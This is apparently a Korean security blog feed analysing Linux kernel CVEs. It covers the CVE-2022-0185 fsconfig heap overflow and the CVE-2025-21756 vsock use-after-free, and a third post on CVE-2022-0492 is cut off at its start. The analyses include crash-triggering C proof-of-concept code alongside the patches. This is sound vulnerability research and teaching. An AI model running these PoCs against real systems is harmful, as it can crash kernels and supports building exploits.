리눅스 커널 v5.1에서는 VFS(Virtual File System)에서 마운트 중 파일 시스템 정보를 다룰 때 사용할 fs_context 구조체, 파일 컨텍스트 개념을 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9bc61ab18b1d41f26dc06b9e6d3c203e65f83fe6">추가하게 됩니다.</a> 쉽게 말해 파일 시스템을 마운트 할 때의 메타데이터를 다룰 구조체라 보면 되지 않을까 싶네요. 슈퍼블록! 해당 구조체는 다음과 같은 정보들을 포함하게 됩니다.

/*
 * Filesystem context for holding the parameters used in the creation or
 * reconfiguration of a superblock.
 *
 * Superblock creation fills in ->root whereas reconfiguration begins with this
 * already set.
 *
 * See Documentation/filesystems/mounting.txt
 */
struct fs_context {
	struct file_system_type	*fs_type;
	void			*fs_private;	/* The filesystem's context */
	struct dentry		*root;		/* The root and superblock */
	struct user_namespace	*user_ns;	/* The user namespace for this mount */
	struct net		*net_ns;	/* The network namespace for this mount */
	const struct cred	*cred;		/* The mounter's credentials */
	const char		*source;	/* The source name (eg. dev path) */
	const char		*subtype;	/* The subtype to set on the superblock */
	void			*security;	/* Linux S&M options */
	unsigned int		sb_flags;	/* Proposed superblock flags (SB_*) */
	unsigned int		sb_flags_mask;	/* Superblock flags that were changed */
	enum fs_context_purpose	purpose:8;
	bool			need_free:1;	/* Need to call ops->free() */
};

해당 구조체와 관련된 내용은 <a href="https://docs.kernel.org/filesystems/mount_api.html#the-filesystem-context">공식 문서</a>를 보시는 것을 추천합니다! 공식 문서에서도 알 수 있듯, 슈퍼블록을 위한 구조체에용.

파일 시스템 타입
네임 스페이스
소스/디바이스 이름
슈퍼블록 플래그
보안 세부 사항
마운트 옵션에 따라 설정되는 파일 시스템 특정 데이터

이 중 fs_type 멤버와의 연결 고리에 대해서 조금만 더 알아보도록 합시다! 이후에 취약점을 트리거시킬 포인트가 되거든용.

<a href="https://elixir.bootlin.com/linux/v5.2/source/include/linux/fs.h#L2180">file_system_type</a> 구조체는 이름에서도 알 수 있듯, 마운트할 파일 시스템에 대한 여러 정보를 가지고 있습니당.

struct file_system_type {
	const char *name;
	int fs_flags;
#define FS_REQUIRES_DEV		1 
#define FS_BINARY_MOUNTDATA	2
#define FS_HAS_SUBTYPE		4
#define FS_USERNS_MOUNT		8	/* Can be mounted by userns root */
#define FS_RENAME_DOES_D_MOVE	32768	/* FS will handle d_move() during rename() internally. */
	int (*init_fs_context)(struct fs_context *);
	const struct fs_parameter_description *parameters;
	struct dentry *(*mount) (struct file_system_type *, int,
		       const char *, void *);
	void (*kill_sb) (struct super_block *);
	struct module *owner;
	struct file_system_type * next;
	struct hlist_head fs_supers;

	struct lock_class_key s_lock_key;
	struct lock_class_key s_umount_key;
	struct lock_class_key s_vfs_rename_key;
	struct lock_class_key s_writers_key[SB_FREEZE_LEVELS];

	struct lock_class_key i_lock_key;
	struct lock_class_key i_mutex_key;
	struct lock_class_key i_mutex_dir_key;
};

초기화되는 모습은 <a href="https://elixir.bootlin.com/linux/v5.2/source/fs/ext4/super.c#L6066">각각의 파일 시스템과 관련된 파일</a>에서 볼 수 있습니당. ext4를 예로 보면 다음과 같습니다. 초기화되는 코드를 보면 init_fs_context 멤버는 건들지도 않는다는 것을 알 수 있습니다. 이로인해 해당 값은 0이 됩니다. 대부분의 파일 시스템은 이를 초기화하지 않습니다. (대부분 까진 아닌가..?)

static struct file_system_type ext4_fs_type = {
	.owner		= THIS_MODULE,
	.name		= "ext4",
	.mount		= ext4_mount,
	.kill_sb	= kill_block_super,
	.fs_flags	= FS_REQUIRES_DEV,
};
MODULE_ALIAS_FS("ext4");

System calls related to the file system context

앞서 알아본 파일 시스템 컨텍스트(파일 시스템 마운트)와 관련된 시스템 콜인 fsconfig, fsopen, fsmount 등이 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ecdab150fddb42fe6a739335257949220033b782">커널 버전 v5.2에서 추가됩니다.</a> 이름에서도 알 수 있듯, 파일 시스템 마운트를 위한 컨텍스트를 다룰 때 사용할 수 있는 시스템 콜들입니다. 사용 예는 다음과 같습니다. 파일 시스템 컨텍스트를 만들고 메타 데이터를 추가하는 모습을 볼 수 있습니다.

    fd = fsopen("ext4", FSOPEN_CLOEXEC);
    fsconfig(fd, fsconfig_set_path, "source", "/dev/sda1", AT_FDCWD);
    fsconfig(fd, fsconfig_set_path_empty, "journal_path", "", journal_fd);
    fsconfig(fd, fsconfig_set_fd, "journal_fd", "", journal_fd);
    fsconfig(fd, fsconfig_set_flag, "user_xattr", NULL, 0);
    fsconfig(fd, fsconfig_set_flag, "noacl", NULL, 0);
    fsconfig(fd, fsconfig_set_string, "sb", "1", 0);
    fsconfig(fd, fsconfig_set_string, "errors", "continue", 0);
    fsconfig(fd, fsconfig_set_string, "data", "journal", 0);
    fsconfig(fd, fsconfig_set_string, "context", "unconfined_u:...", 0);
    fsconfig(fd, fsconfig_cmd_create, NULL, NULL, 0);
    mfd = fsmount(fd, FSMOUNT_CLOEXEC, MS_NOEXEC);

RCA

<a href="https://nvd.nist.gov/vuln/detail/cve-2022-0185">CVE-2022-0185</a> Description을 구경해봅시다. 다음과 같습니다. <p align="center"><img src="/assets/img/CVE-2022-0185/cve-description.png"></p>

앞서 알아본 파일 시스템 컨텍스트를 다루는 함수 중 legacy_parse_param에서 길이 검증에서 힙 오버플로우가 발생한다고 하는군요!

legacy_parse_parm은 앞서 살펴본 fsconfig 함수에서 문자열 파라미터 값을 파싱하는 과정에서 사용됩니다. 또한 이 옵션 문자열은 누적될 수 있습니다.

이때 이 누적된 옵션 길이를 검증하는 과정에서 Integer Underflow(Wrap-around)가 발생할 수 있고, 결과적으로 이로인해 힙 오버플로우가 발생할 수 있는 환경이 됩니다. 코드를 확인해볼까요?

/*
 * Add a parameter to a legacy config.  We build up a comma-separated list of
 * options.
 */
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;
...
	if (len > PAGE_SIZE - 2 - size)
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
...
	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size);
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

중간에 다음과 같은 코드가 있는 모습을 볼 수 있습니다. 이는 누적되고 있는 문자열 옵션의 크기를 계산해서 페이지 길이를 넘어갈 수 없게 하는 코드라고 볼 수 있습니다. 2 + size가 PAGE_SIZE를 넘어가면 음수가 발생하여 len이 더 커지는 상황이 발생하겠죠? 혹은, PAGE_SIZE - (2 + size)가 len보다 작을 경우 len을 추가할 길이를 확보하지 못하니 누적된 옵션 길이에 대한 검증이라고 생각할 수 있겠죠?

	if (len > PAGE_SIZE - 2 - size)
		return invalf(fc, "VFS: Legacy: Cumulative options too large");

하지만 이런 가정은 계산 결과가 음수가 나올 수 없기 때문에 깨지게됩니다. 즉, 요놈들 Unsigned라서 음수가 될 수 없어 무지막지하게 커지게되버립니다. 그러면 자연스럽게 해당 검증문을 피해가고 경계를 넘어서 데이터를 쓸 수 있게됩니다. 간단하죠?

이러한 legacy_parse_param 문자열 옵션을 세팅하는 과정에서 트리거 된다 했습니다. 그리고 추가적으로 특정 조건에서만 이 함수를 트리거 시킬 수 있는데, 이에 대한 배경은 앞서 설명드린 file_system_type 구조체와 관련있습니다. 즉, 파일 시스템 타입과 해당 함수에 연관이 있습니다. 이와 관련된 코드를 살펴봅시다.

legacy_parse_param은 파일 컨텍스트와 관련된 <a href="https://elixir.bootlin.com/linux/v5.2/source/fs/fs_context.c#L688">ops 함수 테이블</a>에 담겨 있습니다.

const struct fs_context_operations legacy_fs_context_ops = {
	.free			= legacy_fs_context_free,
	.dup			= legacy_fs_context_dup,
	.parse_param		= legacy_parse_param,
	.parse_monolithic	= legacy_parse_monolithic,
	.get_tree		= legacy_get_tree,
	.reconfigure		= legacy_reconfigure,
};

앞서 알아본 fs_context는 파일 시스템에 따라 이 테이블을 설정하게끔 되어있습니다. 요렇게 멤버로 갖고있죠. 여기서 테이블을 설정한다는 말은 테이블을 고른다고 말 안해도 아시..겠죠?

struct fs_context {
	const struct fs_context_operations *ops;
	...
};

어떤 테이블이 사용될지 결정되는 시점은 fs_context 즉, 파일 컨텍스트가 할당되는 시점으로 다음 함수(<a href="https://elixir.bootlin.com/linux/v5.2/source/fs/fs_context.c#L251">alloc_fs_context</a>)에서 설정이 진행됩니다!

/**
 * alloc_fs_context - Create a filesystem context.
 * @fs_type: The filesystem type.
 * @reference: The dentry from which this one derives (or NULL)
 * @sb_flags: Filesystem/superblock flags (SB_*)
 * @sb_flags_mask: Applicable members of @sb_flags
 * @purpose: The purpose that this configuration shall be used for.
 *
 * Open a filesystem and create a mount context.  The mount context is
 * initialised with the supplied flags and, if a submount/automount from
 * another superblock (referred to by @reference) is supplied, may have
 * parameters such as namespaces copied across from that superblock.
 */
static struct fs_context *alloc_fs_context(struct file_system_type *fs_type,
				      struct dentry *reference,
				      unsigned int sb_flags,
				      unsigned int sb_flags_mask,
				      enum fs_context_purpose purpose)
{
	int (*init_fs_context)(struct fs_context *);
	struct fs_context *fc;
	int ret = -ENOMEM;

	fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL);
	if (!fc)
		return ERR_PTR(-ENOMEM);
...
	/* TODO: Make all filesystems support this unconditionally */
	init_fs_context = fc->fs_type->init_fs_context;
	if (!init_fs_context)
		init_fs_context = legacy_init_fs_context;

	ret = init_fs_context(fc);
...
}

코드에서도 볼 수 있듯, fc->fs_type->init_fs_contex가 0일 경우 init_fs_context 함수 포인터는 legacy_init_fs_context 함수를 가리키게 되고! 이를 호출하게되죠! <a href="https://elixir.bootlin.com/linux/v5.2/source/fs/fs_context.c#L701">해당 함수</a>는 요렇게 생겼습니다.

/*
 * Initialise a legacy context for a filesystem that doesn't support
 * fs_context.
 */
static int legacy_init_fs_context(struct fs_context *fc)
{
	fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
	if (!fc->fs_private)
		return -ENOMEM;
	fc->ops = &legacy_fs_context_ops;
	return 0;
}

레거시 파일 컨텍스트를 할당하고 ops 테이블로 legacy_fs_context_ops를 설정해주고 있습니다. 따라서 문자열 파싱시에 legacy_parse_param이 호출됩니다!

앞서 살펴본 ext4의 경우에도 해당 값을 초기화하지 않아서 0입니다! 따라서 ext4 파일 시스템의 경우도 취약한 함수를 트리거 시킬 수 있습니다.

그리고 이러한 alloc_fs_context 함수는 fsopen을 호출할 때 호출됩니다. 요렇게 말이죠.

    fd = fsopen("ext4", FSOPEN_CLOEXEC);

요렇게 특정 파일 시스템으로 fsopen을 통해 레거시 파일 시스템 컨텍스트를 만들고 문자열 옵션을 누적시키다보면 누적 옵션 길이 검증 실패로인해서 힙 오버플로우가 발생하게됩니다.

PoC

# define _GNU_SOURCE
# include <sys/syscall.h>
# include <stdio.h>
# include <stdlib.h>
# ifndef __NR_fsconfig
# define __NR_fsconfig 431
# endif
# ifndef __NR_fsopen
# define __NR_fsopen 430
# endif
# define FSCONFIG_SET_STRING 1
# define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
# define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main ( void ) {
  char * val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ;
  int fd = 0 ;
  fd = fsopen( "9p" , 0 );
  if (fd < 0 ) {
    puts ( "Opening" );
    exit ( -1 );
  }
  for ( int i = 0 ; i < 5000 ; i++) {
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00" , val, 0 );
  }
  return 0 ;
}

PoC를 보면 알 수 있듯, 9p 파일 시스템에 대한 파일 시스템 컨텍스트를 만들고 문자열 옵션을 계속해서 누적시키는 모습을 볼 수 있습니다. 여기서 알 수 있는 점은 9p 파일 시스템 역시 커널 내부적으로 레거시 파일 시스템 컨텍스트를 사용한다는 점이겠죠?

Video

열심히 찍는중 🎥 😅

Patch

패치는 아주 엄청 간단합니다! 😃 앞서 뺄셈 연산을 사용하는 것에서 덧셈 연산을 통해 현재 누적될 옵션 값이 페이지 길이를 넘어가는지 확인하게 되었습니다.

-	if (len > PAGE_SIZE - 2 - size)
+	if (size + len + 2 > PAGE_SIZE)
 		return invalf(fc, "VFS: Legacy: Cumulative options too large");
 	if (strchr(param->key, ',') ||
 	    (param->type == fs_value_is_string &&

심하게 더운 여름이네요! 다들 더위 조심하세요! 그럼 20000 👋👋👋

Mitigation

해당 취약점에 대한 커널 업그레이드를 진행하세용 ^~^

References

<a href="https://www.willsroot.io/2022/01/cve-2022-0185.html">https://www.willsroot.io/2022/01/cve-2022-0185.html</a>

CVE-2025-21756

Fri, 25 Jul 2025 04:30:00 GMT

Intro

TOOR 팀 활동을 하며 분석하게 된 리눅스의 소켓 패밀리 중 vsock과 관련된 리눅스 커널 UAF 취약점입니다!

히히 ㅠㅠㅠㅠ 😭 요즘따라 무지막지하게 바쁘네요! 포스팅이 도대체 얼마나 밀려버린건지 전 글에도 작성해야할게 많이 남았네요! <del>살려주세요</del>

이번 포스팅에서 알아볼 취약점은? 뭘까요?

피 피캇츄

짜잔 이번에 알아볼 친구는 리눅스 vsock과 관련된 커널 취약점이군요!

CVE-2022-21756은 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b">2025년 1월경 커밋</a>이 올라오고 <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-21756">2025년 2월 26일에 취약점 정보가 공개된</a> 리눅스 커널 UAF 취약점입니다! vsock에서 사용하는 참조 카운트가 잘못 카운트되어 의도치않게 객체가 해제되어버리는 간단한 취약점입니다.

<a href="https://hoefler.dev/articles/vsock.html">https://hoefler.dev/articles/vsock.html</a>
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b">https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b</a>
<a href="https://github.com/hoefler02/CVE-2025-21756">https://github.com/hoefler02/CVE-2025-21756</a>
<a href="https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml">https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml</a>

Vuln

CVE-ID : <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-21756">CVE-2025-21756</a>
CWE : <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416</a>

Background

자~ 이번 취약점도 다른 취약점들과 같이 이해하기 위해서 몇 가지 배경 지식이 필요합니다. 취약점에 대해서 알아들을 수 있을 정도로 간단하게 한번 알아보도록 합시다!

Vsock overview

vsock은 리눅스상에서 가상머신과 호스트간의 통신 편의를 위해 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d021c344051af91f42c5ba9fdedc176740cbd238">2013년 2월에 VMWare사에서 추가한</a> 리눅스 소켓 인터페이스 중 하나입니다. 다른 OS와 관련된 이야기는 생략하겠습니다. 해당 소켓 패밀리는 호스트의 네트워크 스택에 전혀 의존하지 않기 때문에 해당 패밀리의 소켓을 통해서 네트워크 설정이 필요없이 하이퍼바이저와 게스트간의 통신이 가능합니다.

Vsock in the source code

struct vsock_sock

커널 영역에서는 vsock 소켓을 <a href="https://elixir.bootlin.com/linux/v6.12.10/source/include/net/af_vsock.h#L28" target="_blank">다음과 같이</a> 표현하고 있습니다. 이때, sock 구조체를 첫 번째 멤버로 가지고 있고, vsock_transport 함수 포인터 테이블을 가지고 있습니다.

struct vsock_sock {
	/* sk must be the first member. */
	struct sock sk;
    const struct vsock_transport *transport;
    ...
    /* Links for the global tables of bound and connected sockets. */
	struct list_head bound_table;
	struct list_head connected_table;
...
};

struct sock

socket 구조체가 유저 영역에서의 소켓에 대한 API라면, 즉, 인터페이스라면 sock 구조체는 커널 영역에서의 소켓에 대한 구현체며, 실질적인 네트워크 처리를 담당하는 구조체입니다.

struct sock {
...
#define sk_refcnt		__sk_common.skc_refcnt
...
};

<a href="https://elixir.bootlin.com/linux/v6.12.10/source/include/net/sock.h#L342">sock 구조체</a>는 리눅스 커널의 동적 메모리 영역에 할당되며, 레퍼런스 카운트를 가지고 있습니다.

struct list_head vsock_bind_table

위에서 언급한 vsock_sock 구조체 내의 bound_table, connected_table 멤버는 <a href="https://elixir.bootlin.com/linux/v6.12.10/source/net/vmw_vsock/af_vsock.c#L182">전역에 존재하는 vsock 소켓의 상태를 관리하는 리스트</a>에 삽입되기 위해 존재하는 멤버입니다. vsock 영역의 코드는 이를 통해서 특정 vsock 소켓의 현재 상태가 어떤지 관리를 하게됩니다. vsock 소켓은 소켓에 대한 연산(bind, connect 등)에 의해서 해당 리스트에 연결되거나 해제됩니다.

/* Each bound VSocket is stored in the bind hash table and each connected
 * VSocket is stored in the connected hash table.
 *
 * Unbound sockets are all put on the same list attached to the end of the hash
 * table (vsock_unbound_sockets).  Bound sockets are added to the hash table in
 * the bucket that their local address hashes to (vsock_bound_sockets(addr)
 * represents the list that addr hashes to).
 *
 * Specifically, we initialize the vsock_bind_table array to a size of
 * VSOCK_HASH_SIZE + 1 so that vsock_bind_table[0] through
 * vsock_bind_table[VSOCK_HASH_SIZE - 1] are for bound sockets and
 * vsock_bind_table[VSOCK_HASH_SIZE] is for unbound sockets.  The hash function
 * mods with VSOCK_HASH_SIZE to ensure this.
 */
#define MAX_PORT_RETRIES        24

#define VSOCK_HASH(addr)        ((addr)->svm_port % VSOCK_HASH_SIZE)
#define vsock_bound_sockets(addr) (&vsock_bind_table[VSOCK_HASH(addr)])
#define vsock_unbound_sockets     (&vsock_bind_table[VSOCK_HASH_SIZE])

/* XXX This can probably be implemented in a better way. */
#define VSOCK_CONN_HASH(src, dst)				\
	(((src)->svm_cid ^ (dst)->svm_port) % VSOCK_HASH_SIZE)
#define vsock_connected_sockets(src, dst)		\
	(&vsock_connected_table[VSOCK_CONN_HASH(src, dst)])
#define vsock_connected_sockets_vsk(vsk)				\
	vsock_connected_sockets(&(vsk)->remote_addr, &(vsk)->local_addr)

struct list_head vsock_bind_table[VSOCK_HASH_SIZE + 1];
EXPORT_SYMBOL_GPL(vsock_bind_table);
struct list_head vsock_connected_table[VSOCK_HASH_SIZE];
EXPORT_SYMBOL_GPL(vsock_connected_table);
DEFINE_SPINLOCK(vsock_table_lock);
EXPORT_SYMBOL_GPL(vsock_table_lock);

이때 연결과 해당 리스트에 연결과 해제되는 과정에서 앞서 언급한 sock의 refcnt는 참조에의해 증가되거나 감소됩니다. 이와 관련된 루틴에서 취약점이 발생하게 되는데 이를 알아봅시다.

RCA

커밋 기록(<a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b" target="_blank">3f43540166128951cc1be7ab1ce6b7f05c670d8b</a>)을 살펴보면 친절하게 설명이 되어있습니다.

Preserve sockets bindings; this includes both resulting from an explicit
bind() and those implicitly bound through autobind during connect().

Prevents socket unbinding during a transport reassignment, which fixes a
use-after-free:

    1. vsock_create() (refcnt=1) calls vsock_insert_unbound() (refcnt=2)
    2. transport->release() calls vsock_remove_bound() without checking if
       sk was bound and moved to bound list (refcnt=1)
    3. vsock_bind() assumes sk is in unbound list and before
       __vsock_insert_bound(vsock_bound_sockets()) calls
       __vsock_remove_bound() which does:
           list_del_init(&vsk->bound_table); // nop
           sock_put(&vsk->sk);               // refcnt=0

글에 따르면 vsock_create로 만들어진 소켓은 unbound 리스트로 들어가게됩니다. 이후 vsock_connect에 의해 호출되는 transport->release()에서 sock의 bound 여부를 체크하지 않고 참조 카운트를 줄인다는 것을 알 수 있습니다.(이는 아래서 언급하겠습니다.), 이때 논리적 오류가 있는데, vsock_remove_bound가 unbound 리스트에 있는 vsock에 대해서 호출되고 있다는 점입니다. 따라서 참조 카운트는 의도치 않게 감소됩니다. 여기서 transport는 앞서 vsock_sock의 <a href="https://elixir.bootlin.com/linux/v6.12.10/source/include/net/af_vsock.h#L107">함수 포인터 테이블</a>에 정의되어있는 함수입니다.

struct vsock_transport {
	struct module *module;

	/* Initialize/tear-down socket. */
	int (*init)(struct vsock_sock *, struct vsock_sock *);
	void (*destruct)(struct vsock_sock *);
	void (*release)(struct vsock_sock *);
    ...
};

소켓을 대상으로 connect 함수를 호출하게되면 다음과 같이 transport를 할당? 배정하는 과정을 갖게됩니다.

static int vsock_connect(struct socket *sock, struct sockaddr *addr,
			 int addr_len, int flags)
{
	...
		err = vsock_assign_transport(vsk, NULL);
	...
}

이때 vsock_assign_transport를 들여다보면 transport가 이미 존재할 경우 기존의 transport를 정리하는 모습을 볼 수 있습니다.

int vsock_assign_transport(struct vsock_sock *vsk, struct vsock_sock *psk)
{
	const struct vsock_transport *new_transport;
	struct sock *sk = sk_vsock(vsk);
	unsigned int remote_cid = vsk->remote_addr.svm_cid;
	__u8 remote_flags;
	int ret;

	...
	if (vsk->transport) {
		if (vsk->transport == new_transport)
			return 0;

		/* transport->release() must be called with sock lock acquired.
		 * This path can only be taken during vsock_connect(), where we
		 * have already held the sock lock. In the other cases, this
		 * function is called on a new socket which is not assigned to
		 * any transport.
		 */
		vsk->transport->release(vsk);
		vsock_deassign_transport(vsk);

		/* transport's release() and destruct() can touch some socket
		 * state, since we are reassigning the socket to a new transport
		 * during vsock_connect(), let's reset these fields to have a
		 * clean state.
		 */
		sock_reset_flag(sk, SOCK_DONE);
		sk->sk_state = TCP_CLOSE;
		vsk->peer_shutdown = 0;
	}
	...
	vsk->transport = new_transport;

	return 0;
}
EXPORT_SYMBOL_GPL(vsock_assign_transport);

이 과정에서 호출되는 release에서는 앞서 언급했듯, 해당 소켓이 바운드 되어있는지 안되어있는지에 대한 체크없이 refcnt를 감소 시켜버립니다.

<a href="https://elixir.bootlin.com/linux/v6.12.10/source/net/vmw_vsock/af_vsock.c" target="_blank">/net/vmw_vsock/af_vsock.c</a>

static void __vsock_release(struct sock *sk, int level)
{
...
		vsock_remove_sock(vsk);
...
}
...
void vsock_remove_sock(struct vsock_sock *vsk)
{
	vsock_remove_bound(vsk);
	vsock_remove_connected(vsk);
}
EXPORT_SYMBOL_GPL(vsock_remove_sock);
...
static void __vsock_remove_bound(struct vsock_sock *vsk)
{
	list_del_init(&vsk->bound_table);
	sock_put(&vsk->sk);
}

<a href="https://elixir.bootlin.com/linux/v6.12.10/source/include/net/sock.h#L1891" target="_blank">/include/net/sock.h#L1891</a>

/* Ungrab socket and destroy it, if it was the last reference. */
static inline void sock_put(struct sock *sk)
{
	if (refcount_dec_and_test(&sk->sk_refcnt))
		sk_free(sk);
}

unbound 리스트에 있음에도 불구하고, transport의 재할당과 관련된 루틴에서는 이를 체크하지 않기 때문에, 특정 상황에서 refcnt를 감소시킬 수 있습니다.

이후 vsock_bind가 호출될 때, vsock_bind는 해당 vsock이 unbound 리스트에 있다 생각하고 있으니, 검증 루틴을 넘어갈 수 있게됩니다.

static int __vsock_bind(struct sock *sk, struct sockaddr_vm *addr)
{
	struct vsock_sock *vsk = vsock_sk(sk);
	int retval;

	/* First ensure this socket isn't already bound. */
	if (vsock_addr_bound(&vsk->local_addr))
		return -EINVAL;
	...
}

vsock_remove_bound를 호출하여 unbound 리스트에서 제거하게됩니다.

	/* Remove connection oriented sockets from the unbound list and add them
	 * to the hash table for easy lookup by its address.  The unbound list
	 * is simply an extra entry at the end of the hash table, a trick used
	 * by AF_UNIX.
	 */
	__vsock_remove_bound(vsk);
	__vsock_insert_bound(vsock_bound_sockets(&vsk->local_addr), vsk);

결과적으로 의도치 않은 객체 해제로 UAF가 발생하게 됩니다.

PoC

PoC는 <a href="https://hoefler.dev/articles/attachments/crash.c">여기</a>에서 확인할 수 있습니다. hoefler님께서 커밋 로그에 기록된 PoC를 살짝 수정하여 동작이 가능한 바이너리로 컴파일할 수 있게 수정했다합니다. 하하

PoC는 이해하기 쉽게 작성되어있어서 앞선 과정만 이해했다면 크게 무리 없이 이해할 수 있습니다. socket create → connect → connect → bind 의 순으로 함수를 호출하게되고 앞서 알아본 과정으로 레퍼런스 카운트의 잘못된 감소로 커널 크래시가 발생하게 됩니다.

...
int main(void) {
...
    // wait for input
    puts("Setup Finished...");
    getchar();

	s = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (s < 0) {
		perror("socket");
		exit(EXIT_FAILURE);
	}

	if (!connect(s, (struct sockaddr *)&addr, alen)) {
		fprintf(stderr, "Unexpected connect() #1 success\n");
		exit(EXIT_FAILURE);
	}
	// connect() #1 failed: transport set, sk in unbound list.

	addr.svm_cid = VMADDR_CID_NONEXISTING;
    addr.svm_port = VMADDR_PORT_ANY;
	if (!connect(s, (struct sockaddr *)&addr, alen)) {
		fprintf(stderr, "Unexpected connect() #2 success\n");
		exit(EXIT_FAILURE);
	}
	// connect() #2 failed: transport unset, sk ref dropped?

    // wait for input
    puts("Press for Crash...");
    getchar();

	// Vulnerable system may crash now. [USE THE DANGLING POINTER]
	bind(s, (struct sockaddr *)&addr, alen);

    // wait for input
    getchar();

	close(s);
	while (i--)
		close(sockets[i]);
}

Video

PoC

커널 크래시 빠밤콰쾅 <video width="100%" height="100%" controls> <source src="/assets/videos/CVE-2025-21756/CVE-2025-21756-poc.mkv" type="video/webm"> </video>

Patch

패치에서는 SOCK_DEAD 플래그를 확인함으로써 transport가 재할당될 때 바인딩을 해제하는 것을 방지하고 있습니다. 이때 코드 하단에 존재하던 sock_orphan 호출 코드는 상단으로 재배치 되었습니다.

--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
@@ -336,7 +336,10 @@ EXPORT_SYMBOL_GPL(vsock_find_connected_socket);
 
 void vsock_remove_sock(struct vsock_sock *vsk)
 {
-	vsock_remove_bound(vsk);
+	/* Transport reassignment must not remove the binding. */
+	if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+		vsock_remove_bound(vsk);
+
 	vsock_remove_connected(vsk);
 }
 EXPORT_SYMBOL_GPL(vsock_remove_sock);
@@ -820,12 +823,13 @@ static void __vsock_release(struct sock *sk, int level)
 	 */
 	lock_sock_nested(sk, level);
 
+	sock_orphan(sk);
+
 	if (vsk->transport)
 		vsk->transport->release(vsk);
 	else if (sock_type_connectible(sk->sk_type))
 		vsock_remove_sock(vsk);
 
-	sock_orphan(sk);
 	sk->sk_shutdown = SHUTDOWN_MASK;
 
 	skb_queue_purge(&sk->sk_receive_queue);

Mitigation

해당 취약점에 대한 커널 업그레이드를 진행하세용 ^~^

References

<a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b">https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b</a>
<a href="https://github.com/hoefler02/CVE-2025-21756">https://github.com/hoefler02/CVE-2025-21756</a>
<a href="https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml">https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml</a>
<a href="https://hoefler.dev/articles/vsock.html">https://hoefler.dev/articles/vsock.html</a>

CVE-2022-0492

Sun, 20 Jul 2025 05:30:00 GMT

사정으로 몇 개월만에 글을 올리네요.😅 그래도 관련 활동은 멈추지 않고 계속해서 이어나가고 있답니다.🫠 잠깐의 포스팅을 쉬는 시간을 허락해주신 팀장님 감사합니다..

Intro

TOOR 팀 활동을 하며 분석하게 된 리눅스 커널 네임스페이스 격리 우회 취약점 관련 글입니다.

이번에 알아볼 원데이 취약점은 <a href="https://nvd.nist.gov/vuln/detail/cve-2022-0492">2022년 3월 3일에 공개된</a> 리눅스 커널 네임스페이스 격리 우회 취약점입니다.

공격자는 리눅스 커널에서 제공하는 cgroups 버전 1이 제공하는 기능에서 취약점을 악용하여 격리된 환경에서 루트 권한으로 탈출을 시도할 수 있습니다.

<a href="https://www.hackthebox.com/blog/cve-2022-04920-carpe-diem-explained">https://www.hackthebox.com/blog/cve-2022-04920-carpe-diem-explained</a>
<a href="https://blog.alyac.co.kr/4538">https://blog.alyac.co.kr/4538</a>
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af">https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af</a>
<a href="https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC/tree/master">https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC/tree/master</a>

Vuln

CVE-ID : <a href="https://nvd.nist.gov/vuln/detail/cve-2022-0492">CVE-2022-0492</a>
